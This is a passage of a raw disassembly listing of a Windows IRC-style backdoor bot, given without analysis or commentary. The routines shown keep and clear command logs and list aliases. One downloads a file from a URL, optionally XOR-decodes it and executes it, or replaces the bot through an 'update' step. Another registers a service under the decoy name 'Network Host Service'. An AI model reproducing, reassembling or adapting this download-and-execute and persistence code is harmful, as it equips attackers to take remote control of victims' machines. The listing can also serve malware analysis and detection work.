		mov	esi, [esp+0Ch+arg_0]
		mov	eax, edi


loc_401B38:				; CODE XREF: sub_401B23+31j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_401B5A
		test	cl, cl
		jz	short loc_401B56
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_401B5A
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_401B38


loc_401B56:				; CODE XREF: sub_401B23+1Fj
		xor	eax, eax
		jmp	short loc_401B5F
; ---------------------------------------------------------------------------


loc_401B5A:				; CODE XREF: sub_401B23+1Bj
					; sub_401B23+29j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_401B5F:				; CODE XREF: sub_401B23+35j
		test	eax, eax
		jz	short loc_401B74
		add	edi, 0B8h
		inc	ebx
		cmp	edi, offset dword_479BB0
		jl	short loc_401B2D
		jmp	short loc_401BB5
; ---------------------------------------------------------------------------


loc_401B74:				; CODE XREF: sub_401B23+Dj
					; sub_401B23+3Ej
		mov	esi, ebx
		imul	esi, 0B8h
		push	2Eh
		pop	ecx
		push	17h
		push	[esp+10h+arg_0]
		lea	edx, dword_479030[esi]
		xor	eax, eax
		mov	edi, edx
		push	edx
		rep stosd
		call	sub_412C40
		push	9Fh
		push	[esp+1Ch+arg_4]
		lea	eax, dword_479048[esi]
		push	eax
		call	sub_412C40
		add	esp, 18h
		inc	dword_42B280


loc_401BB5:				; CODE XREF: sub_401B23+4Fj
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_401B23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401BBB	proc near		; CODE XREF: sub_4078FA+461Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset aAliasList ; "-[Alias List]-"
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_479030


loc_401BE5:				; CODE XREF: sub_401BBB+72j
		cmp	byte ptr [esi],	0
		jz	short loc_401C20
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset aD_SS	; "%d. %s = %s"
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_412E0D
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		add	esp, 2Ch


loc_401C20:				; CODE XREF: sub_401BBB+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_479BB0
		jl	short loc_401BE5
		pop	edi
		pop	esi
		leave
		retn
sub_401BBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401C33	proc near		; CODE XREF: sub_401000+BEp
					; sub_4010CA+6Dp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_41F028
		mov	ebx, offset dword_432FB8
		mov	edi, 80h
		mov	esi, offset dword_42EFB8


loc_401C55:				; CODE XREF: sub_401C33+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_401C6C
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_412C40
		add	esp, 0Ch


loc_401C6C:				; CODE XREF: sub_401C33+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_401C55
		push	[ebp+arg_0]
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_412E0D
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401C33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401CA7	proc near		; CODE XREF: sub_40779B+A4p
					; sub_4078FA:loc_40A8FBp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_80]
		push	80h
		push	eax
		call	sub_412E64
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_401C33
		add	esp, 14h
		leave
		retn
sub_401CA7	endp


; =============== S U B	R O U T	I N E =======================================



sub_401CD3	proc near		; CODE XREF: sub_4078FA+4512p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_42EFB8
		xor	ecx, ecx


loc_401CDA:				; CODE XREF: sub_401CD3+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_432FB8
		jl	short loc_401CDA
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset aLogsCleared_ ; "[LOGS]: Cleared."
		jnz	short loc_401D0A
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_4045DD
		add	esp, 14h


loc_401D0A:				; CODE XREF: sub_401CD3+1Fj
		push	esi
		call	sub_401C33
		pop	ecx
		pop	esi
		retn
sub_401CD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_401D13	proc near		; CODE XREF: .text:0041296Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_42EFB8


loc_401D19:				; CODE XREF: sub_401D13+27j
		cmp	byte ptr [esi],	0
		jz	short loc_401D2E
		push	[esp+4+arg_0]
		push	esi
		call	sub_405AD5
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_401D40


loc_401D2E:				; CODE XREF: sub_401D13+9j
		add	esi, 80h
		cmp	esi, offset dword_432FB8
		jl	short loc_401D19
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_401D40:				; CODE XREF: sub_401D13+19j
		xor	eax, eax
		inc	eax
		pop	esi
		retn
sub_401D13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D45	proc near		; DATA XREF: sub_4078FA+45C9o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		rep movsd
		xor	edi, edi
		xor	edx, edx
		inc	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_401D98
		push	edx
		push	[ebp+var_14]
		lea	eax, [ebp+var_118]
		push	offset aLogBegin ; "[LOG]: Begin"
		push	eax
		push	[ebp+var_11C]
		call	sub_4045DD
		add	esp, 14h


loc_401D98:				; CODE XREF: sub_401D45+33j
		cmp	[ebp+var_98], 0
		jz	short loc_401DB8
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_412F42
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_401DB8
		mov	[ebp+var_8], eax


loc_401DB8:				; CODE XREF: sub_401D45+5Aj
					; sub_401D45+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_42EFB8


loc_401DC1:				; CODE XREF: sub_401D45+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_401E1B
		cmp	byte ptr [esi],	0
		jz	short loc_401E0A
		cmp	[ebp+var_98], 0
		jz	short loc_401DF0
		cmp	[ebp+var_4], 0
		jnz	short loc_401DF0
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_405AD5
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_401E0A


loc_401DF0:				; CODE XREF: sub_401D45+90j
					; sub_401D45+96j
		push	edi
		push	[ebp+var_14]
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_4045DD
		add	esp, 14h


loc_401E0A:				; CODE XREF: sub_401D45+87j
					; sub_401D45+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_432FB8
		jl	short loc_401DC1


loc_401E1B:				; CODE XREF: sub_401D45+82j
		lea	eax, [ebp+var_31C]
		push	offset aLogListComplet ; "[LOG]: List complete."
		push	eax
		call	sub_412BB5
		xor	esi, esi
		cmp	[ebp+var_10], esi
		pop	ecx
		pop	ecx
		jnz	short loc_401E55
		push	esi
		push	[ebp+var_14]
		lea	eax, [ebp+var_31C]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_4045DD
		add	esp, 14h


loc_401E55:				; CODE XREF: sub_401D45+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_401C33
		push	[ebp+var_18]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_41F014
		int	3		; Trap to Debugger
sub_401D45	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E73	proc near		; CODE XREF: sub_405915+1Ep
					; sub_40D1EF+34Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset aNetworkHostSer ; "Network Host Service"


loc_401E83:				; CODE XREF: sub_401E73+6Fj
		push	ebx
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	0F003Fh
		push	ebx
		push	ebx
		push	ebx
		push	off_42A354[edi]
		push	dword_42A350[edi]
		call	dword_4334E8
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_401EC9
		lea	edx, [eax+1]


loc_401EAD:				; CODE XREF: sub_401E73+3Fj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_401EAD
		sub	eax, edx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_433484
		jmp	short loc_401ED3
; ---------------------------------------------------------------------------


loc_401EC9:				; CODE XREF: sub_401E73+35j
		push	esi
		push	[ebp+var_4]
		call	dword_4334DC


loc_401ED3:				; CODE XREF: sub_401E73+54j
		push	[ebp+var_4]
		call	dword_43357C
		add	edi, 8
		cmp	edi, 18h
		jb	short loc_401E83
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401E73	endp


; =============== S U B	R O U T	I N E =======================================



sub_401EE9	proc near		; CODE XREF: sub_401F06+109p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_401F05


loc_401EF5:				; CODE XREF: sub_401EE9+1Aj
		mov	dl, byte_42AE5C
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_401EF5

locret_401F05:				; CODE XREF: sub_401EE9+Aj
		retn
sub_401EE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401F06	proc near		; DATA XREF: sub_4078FA+287Eo
					; sub_4078FA+2D24o

var_88C		= qword	ptr -88Ch
var_880		= qword	ptr -880h
var_810		= byte ptr -810h
var_610		= byte ptr -610h
var_410		= dword	ptr -410h
var_40C		= byte ptr -40Ch
var_38C		= byte ptr -38Ch
var_28C		= byte ptr -28Ch
var_18C		= byte ptr -18Ch
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_68		= dword	ptr -68h
var_5C		= dword	ptr -5Ch
var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 810h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	ebx
		mov	esi, eax
		mov	ecx, 0EAh
		lea	edi, [ebp+var_410]
		rep movsd
		push	ebx
		xor	esi, esi
		push	ebx
		inc	esi
		mov	[eax+3A4h], esi
		push	ebx
		lea	eax, [ebp+var_38C]
		push	eax
		push	dword_4335E0
		call	dword_4334A8
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jz	loc_4023B5
		push	ebx
		push	ebx
		push	2
		push	ebx
		push	ebx
		push	40000000h
		lea	eax, [ebp+var_28C]
		push	eax
		call	ds:dword_41F03C
		cmp	eax, esi
		mov	[ebp+var_10], eax
		jnb	short loc_401FCD
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_610]
		push	offset aDownloadCouldn ; "[DOWNLOAD]: Couldn't open file: %s."
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_74], ebx
		jnz	short loc_401FB0
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4045DD
		add	esp, 14h


loc_401FB0:				; CODE XREF: sub_401F06+88j
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401C33
		push	[ebp+var_8C]
		call	sub_4111AE
		pop	ecx
		jmp	loc_402416
; ---------------------------------------------------------------------------


loc_401FCD:				; CODE XREF: sub_401F06+68j
		xor	esi, esi
		call	ds:dword_41F004
		mov	[ebp+var_4], eax


loc_401FD8:				; CODE XREF: sub_401F06+174j
		xor	eax, eax
		mov	ecx, 80h
		lea	edi, [ebp+var_610]
		rep stosd
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		lea	eax, [ebp+var_610]
		push	eax
		push	[ebp+var_C]
		call	dword_43354C
		cmp	[ebp+var_78], ebx
		jz	short loc_402016
		push	[ebp+arg_0]
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401EE9
		pop	ecx
		pop	ecx


loc_402016:				; CODE XREF: sub_401F06+FDj
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_610]
		push	eax
		push	[ebp+var_10]
		call	ds:dword_41F038
		add	esi, [ebp+arg_0]
		cmp	[ebp+var_80], ebx
		jz	short loc_40203B
		cmp	esi, [ebp+var_80]
		ja	short loc_402080


loc_40203B:				; CODE XREF: sub_401F06+12Ej
		mov	eax, esi
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_38C]
		push	eax
		mov	eax, [ebp+var_8C]
		imul	eax, 234h
		add	eax, offset dword_434138
		cmp	[ebp+var_88], 1
		jz	short loc_402069
		push	offset aDownloadFileDo ; "[DOWNLOAD]: File download: %s	(%dKB tra"...
		jmp	short loc_40206E
; ---------------------------------------------------------------------------


loc_402069:				; CODE XREF: sub_401F06+15Aj
		push	offset aDownloadUpdate ; "[DOWNLOAD]: Update: %s (%dKB transferre"...


loc_40206E:				; CODE XREF: sub_401F06+161j
		push	eax
		call	sub_412BB5
		add	esp, 10h
		cmp	[ebp+arg_0], ebx
		ja	loc_401FD8


loc_402080:				; CODE XREF: sub_401F06+133j
		cmp	[ebp+var_80], ebx
		mov	[ebp+var_8], 1
		jz	short loc_4020D5
		cmp	esi, [ebp+var_80]
		jz	short loc_4020D5
		push	[ebp+var_80]
		lea	eax, [ebp+var_610]
		push	esi
		push	offset aDownloadFilesi ; "[DOWNLOAD]: Filesize is incorrect: (%d "...
		push	eax
		mov	[ebp+var_8], ebx
		call	sub_412BB5
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4045DD
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401C33
		add	esp, 28h


loc_4020D5:				; CODE XREF: sub_401F06+184j
					; sub_401F06+189j
		call	ds:dword_41F004
		sub	eax, [ebp+var_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		push	[ebp+var_10]
		mov	ecx, eax
		inc	ecx
		mov	eax, esi
		div	ecx
		mov	edi, eax
		call	ds:dword_41F034
		cmp	[ebp+var_8], ebx
		jz	loc_402402
		cmp	[ebp+var_88], 1
		jz	loc_4022C6
		test	edi, edi
		mov	[ebp+var_4], edi
		fild	[ebp+var_4]
		jge	short loc_402121
		fadd	ds:dbl_41FAD8


loc_402121:				; CODE XREF: sub_401F06+213j
		test	esi, esi
		fmul	ds:dbl_41FAD0
		push	ecx
		push	ecx
		fstp	[esp+880h+var_880]
		lea	eax, [ebp+var_28C]
		mov	[ebp+var_4], esi
		fild	[ebp+var_4]
		push	eax
		jge	short loc_402143
		fadd	ds:dbl_41FAD8


loc_402143:				; CODE XREF: sub_401F06+235j
		fmul	ds:dbl_41FAD0
		push	ecx
		push	ecx
		lea	eax, [ebp+var_610]
		fstp	[esp+88Ch+var_88C]
		push	offset aDownloadDownlo ; "[DOWNLOAD]: Downloaded %.1f KB to %s @ "...
		push	eax
		call	sub_412BB5
		add	esp, 1Ch
		cmp	[ebp+var_74], ebx
		jnz	short loc_402187
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4045DD
		add	esp, 14h


loc_402187:				; CODE XREF: sub_401F06+25Fj
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401C33
		cmp	[ebp+var_84], 1
		pop	ecx
		jnz	loc_402402
		cmp	[ebp+var_74], ebx
		jnz	short loc_4021F1
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_610]
		push	offset aDownloadOpenni ; "[DOWNLOAD]: Openning:	%s %s."
		push	eax
		call	sub_412BB5
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4045DD
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401C33
		add	esp, 28h


loc_4021F1:				; CODE XREF: sub_401F06+29Ej
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		stosd
		push	11h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_68]
		rep stosd
		mov	ecx, 80h
		lea	edi, [ebp+var_810]
		mov	[ebp+var_5C], (offset asc_41FA74+2)
		mov	[ebp+var_68], 44h
		mov	[ebp+var_3C], 1
		mov	[ebp+var_38], bx
		rep stosd


loc_40222A:				; CODE XREF: sub_401F06+335j
		mov	cl, [ebp+eax+var_28C]
		mov	[ebp+eax+var_810], cl
		inc	eax
		cmp	cl, bl
		jnz	short loc_40222A
		lea	edi, [ebp+var_810]
		dec	edi


loc_402244:				; CODE XREF: sub_401F06+344j
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jnz	short loc_402244
		mov	esi, offset asc_41FA74 ; " "
		lea	eax, [ebp+var_18C]
		movsw
		mov	edx, eax


loc_40225B:				; CODE XREF: sub_401F06+35Aj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_40225B
		lea	edi, [ebp+var_810]
		sub	eax, edx
		dec	edi


loc_40226B:				; CODE XREF: sub_401F06+36Bj
		mov	cl, [edi+1]
		inc	edi
		cmp	cl, bl
		jnz	short loc_40226B
		mov	ecx, eax
		shr	ecx, 2
		mov	esi, edx
		rep movsd
		mov	ecx, eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	ebx
		push	ebx
		push	30h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_810]
		push	eax
		and	ecx, 3
		push	ebx
		rep movsb
		call	ds:dword_41F030
		cmp	eax, 1
		lea	eax, [ebp+var_810]
		push	eax
		lea	eax, [ebp+var_610]
		jnz	short loc_4022BC
		push	offset aDownloadApplic ; "[DOWNLOAD]: Application succesfully exe"...
		jmp	loc_4023C7
; ---------------------------------------------------------------------------


loc_4022BC:				; CODE XREF: sub_401F06+3AAj
		push	offset aDownloadExecut ; "[DOWNLOAD]: Execution	failed:	Error exe"...
		jmp	loc_4023C7
; ---------------------------------------------------------------------------


loc_4022C6:				; CODE XREF: sub_401F06+205j
		test	edi, edi
		mov	[ebp+var_4], edi
		fild	[ebp+var_4]
		jge	short loc_4022D6
		fadd	ds:dbl_41FAD8


loc_4022D6:				; CODE XREF: sub_401F06+3C8j
		test	esi, esi
		fmul	ds:dbl_41FAD0
		push	ecx
		push	ecx
		fstp	[esp+880h+var_880]
		lea	eax, [ebp+var_28C]
		mov	[ebp+var_4], esi
		fild	[ebp+var_4]
		push	eax
		jge	short loc_4022F8
		fadd	ds:dbl_41FAD8


loc_4022F8:				; CODE XREF: sub_401F06+3EAj
		fmul	ds:dbl_41FAD0
		push	ecx
		push	ecx
		lea	eax, [ebp+var_610]
		fstp	[esp+88Ch+var_88C]
		push	offset aDownloadDown_0 ; "[DOWNLOAD]: Downloaded %.1fKB	to %s @	%"...
		push	eax
		call	sub_412BB5
		add	esp, 1Ch
		cmp	[ebp+var_74], ebx
		jnz	short loc_40233C
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4045DD
		add	esp, 14h


loc_40233C:				; CODE XREF: sub_401F06+414j
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401C33
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_24]
		stosd
		stosd
		push	11h
		stosd
		pop	ecx
		stosd
		xor	eax, eax
		lea	edi, [ebp+var_68]
		rep stosd
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	ebx
		push	ebx
		push	30h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_28C]
		xor	esi, esi
		push	eax
		inc	esi
		push	ebx
		mov	[ebp+var_5C], (offset asc_41FA74+2)
		mov	[ebp+var_68], 44h
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], bx
		call	ds:dword_41F030
		cmp	eax, esi
		jnz	short loc_4023A7
		call	dword_4335B8
		call	sub_405915
		push	ebx
		call	ds:dword_41F02C


loc_4023A7:				; CODE XREF: sub_401F06+48Dj
		lea	eax, [ebp+var_28C]
		push	eax
		push	offset aDownloadUpda_0 ; "[DOWNLOAD]: Update failed: Error execut"...
		jmp	short loc_4023C1
; ---------------------------------------------------------------------------


loc_4023B5:				; CODE XREF: sub_401F06+45j
		lea	eax, [ebp+var_38C]
		push	eax
		push	offset aDownloadBadUrl ; "[DOWNLOAD]: Bad URL, or DNS Error: %s."


loc_4023C1:				; CODE XREF: sub_401F06+4ADj
		lea	eax, [ebp+var_610]


loc_4023C7:				; CODE XREF: sub_401F06+3B1j
					; sub_401F06+3BBj
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		cmp	[ebp+var_74], ebx
		jnz	short loc_4023F5
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_4045DD
		add	esp, 14h


loc_4023F5:				; CODE XREF: sub_401F06+4CDj
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401C33
		pop	ecx


loc_402402:				; CODE XREF: sub_401F06+1F8j
					; sub_401F06+295j
		push	[ebp+var_C]
		call	dword_4334FC
		push	[ebp+var_8C]
		call	sub_4111AE


loc_402416:				; CODE XREF: sub_401F06+C2j
		pop	ecx
		push	ebx
		call	ds:dword_41F014
		int	3		; Trap to Debugger
sub_401F06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40241F	proc near		; CODE XREF: sub_4078FA+4C27p
					; sub_4078FA+4D7Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4134AF
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40241F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402439	proc near		; CODE XREF: sub_40253D+66p
					; sub_40253D+97p ...

var_40		= byte ptr -40h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		and	[ebp+var_4], 0
		push	esi
		push	edi
		push	0Ch
		mov	esi, offset dword_432FB8
		pop	ecx
		xor	eax, eax
		mov	edi, esi
		rep stosd
		stosw
		lea	edi, [ebp+var_40]
		push	ebx


loc_402459:				; CODE XREF: sub_402439+50j
					; sub_402439+56j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_413500
		add	cl, 30h
		mov	[edi], cl
		inc	edi
		mov	[ebp+arg_0], eax
		or	eax, edx
		mov	[ebp+var_8], ebx
		mov	[ebp+arg_4], edx
		jz	short loc_402491
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		push	3
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jnz	short loc_402459
		mov	byte ptr [edi],	2Ch
		inc	edi
		jmp	short loc_402459
; ---------------------------------------------------------------------------


loc_402491:				; CODE XREF: sub_402439+40j
		mov	eax, esi
		pop	ebx
		jmp	short loc_40249B
; ---------------------------------------------------------------------------


loc_402496:				; CODE XREF: sub_402439+68j
		mov	cl, [edi]
		mov	[eax], cl
		inc	eax


loc_40249B:				; CODE XREF: sub_402439+5Bj
		dec	edi
		lea	ecx, [ebp+var_40]
		cmp	edi, ecx
		jnb	short loc_402496
		and	byte ptr [eax],	0
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_402439	endp


; =============== S U B	R O U T	I N E =======================================



sub_4024AC	proc near		; CODE XREF: sub_402658+3Ep
					; sub_402658+74p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43342C
		sub	eax, 0
		jz	short loc_4024EF
		dec	eax
		jz	short loc_4024E9
		dec	eax
		dec	eax
		jz	short loc_4024E3
		dec	eax
		jz	short loc_4024DD
		dec	eax
		jz	short loc_4024D7
		dec	eax
		jz	short loc_4024D1
		mov	eax, offset a?	; "?"
		retn
; ---------------------------------------------------------------------------


loc_4024D1:				; CODE XREF: sub_4024AC+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_4024D7:				; CODE XREF: sub_4024AC+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4024DD:				; CODE XREF: sub_4024AC+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4024E3:				; CODE XREF: sub_4024AC+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4024E9:				; CODE XREF: sub_4024AC+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4024EF:				; CODE XREF: sub_4024AC+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4024AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024F5	proc near		; CODE XREF: sub_40253D+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43349C
		test	eax, eax
		jz	short loc_40252A
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_40252A:				; CODE XREF: sub_4024F5+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4024F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40253D	proc near		; CODE XREF: sub_402658+17p
					; sub_40FE1F+1BDp

var_1B0		= byte ptr -1B0h
